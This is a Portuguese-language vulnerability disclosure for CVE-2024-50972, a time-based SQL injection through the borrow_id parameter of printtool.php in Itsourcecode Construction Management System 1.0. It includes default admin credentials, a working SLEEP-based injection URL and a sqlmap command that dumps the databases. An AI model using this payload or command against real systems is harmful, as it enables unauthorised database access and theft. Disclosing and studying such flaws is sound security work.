CVE-2024-50972
Descrição
Uma vulnerabilidade de injeção de SQL em printtool.php do Itsourcecode Construction Management System 1.0 permite que atacantes remotos executem comandos SQL arbitrários através do parâmetro borrow_id.
Tipo de Vulnerabilidade
Injeção de SQL
Fornecedor do Produto
Itsourcecode
Base de Código do Produto Afetado:
https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/ - 1.0
Componente Afetado:
O Itsourcecode Construction Management System v1.0 é vulnerável a injeção de SQL através do parâmetro borrow_id na página printtool.php
Vetores de Ataque:
- Configure a aplicação localmente e faça login com as credenciais de administrador admin:admin
- Navegue para o seguinte URL no seu navegador:
http://localhost/monitoring_system/printtool.php?borrow_id=5
- Injete Payload de SQL:
Modifique o parâmetro borrow_id no URL para incluir um payload de injeção de SQL baseado em tempo.
http://localhost/monitoring_system/printtool.php?borrow_id=5'+AND+(SELECT+7254+FROM+(SELECT(SLEEP(20)))rcGT)--+xxQB
- Observe a Resposta da Aplicação:
A página deve demorar notavelmente mais (20 segundos) para carregar se a injeção for bem-sucedida, confirmando que o parâmetro borrow_id é vulnerável a injeção de SQL.
- Agora use a ferramenta SQLMap para exploração adicional e despejo de bancos de dados usando o comando abaixo:
sqlmap.py -u http://localhost/monitoring_system/printtool.php?borrow_id=5 --risk 3 --level 3 --cookie="PHPSESSID=your_cookie_here" --dbs --technique=T --dump --no-cast
Referência:
- https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/
- https://owasp.org/www-community/attacks/SQL_Injection